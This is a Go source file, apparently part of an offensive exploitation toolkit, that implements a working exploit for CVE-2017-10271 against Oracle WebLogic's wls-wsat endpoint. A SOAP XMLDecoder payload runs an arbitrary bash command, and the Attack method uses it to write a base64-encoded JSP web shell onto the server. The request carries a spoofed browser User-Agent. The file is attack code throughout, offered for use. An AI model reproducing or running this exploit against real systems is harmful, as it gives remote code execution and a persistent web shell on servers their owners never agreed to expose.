package payload

import (
	"bytes"
	"encoding/base64"
	"fmt"
	"io/ioutil"
	"net/http"
	"time"

	"github.com/jstang9527/gofor/src/share/proxy"
	"github.com/jstang9527/gofor/src/srv-exploit/files"
)

var (
	payload = `<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
	<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
	<java version="1.4.0" class="java.beans.XMLDecoder">
	<void class="java.lang.ProcessBuilder">
	<array class="java.lang.String" length="3">
	<void index="0">
	<string>/bin/bash</string>
	</void>
	<void index="1">
	<string>-c</string>
	</void>
	<void index="2">
	<string>%s</string>
	</void>
	</array>
	<void method="start"/></void>
	</java>
	</work:WorkContext>
	</soapenv:Header>
	<soapenv:Body/>
	</soapenv:Envelope>`
)

type CVE_2017_10271 struct {
	target string // "http://127.0.0.1:8080"
	uri    string // "/index.php?page=2&id=2"
	client *http.Client
	stype  files.ShellType
}

func NewCVE_2017_10271(target string) *CVE_2017_10271 {
	return &CVE_2017_10271{
		target: target,
		uri:    `/wls-wsat/CoordinatorPortType`,
		client: &http.Client{Timeout: time.Second * 30},
		stype:  files.JSPWebShell,
	}
}

// 上传webshell
func (r *CVE_2017_10271) Attack() error {
	content := base64.StdEncoding.EncodeToString([]byte(files.NewWebShell(r.stype).Console()))
	cmd := fmt.Sprintf("echo %s| base64 -d > servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/ant.jsp", content)
	body := fmt.Sprintf(payload, cmd)
	req, err := http.NewRequest("POST", fmt.Sprintf("%v%v", r.target, r.uri), bytes.NewBuffer([]byte(body)))
	if err != nil {
		return err
	}
	req.Header.Set("Accept-Encoding", "gzip, deflate")
	req.Header.Set("Accept", "*/*")
	req.Header.Set("Accept-Language", "en")
	req.Header.Set("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)")
	req.Header.Set("Connection", "close")
	req.Header.Set("Content-Type", "text/xml")

	resp, err := r.client.Do(req)
	if err != nil {
		return err
	}
	defer resp.Body.Close()
	_, err = ioutil.ReadAll(resp.Body)

	return err
}

func (r *CVE_2017_10271) CreateProxy() (string, error) {
	return proxy.NewProxy(r.target)
}
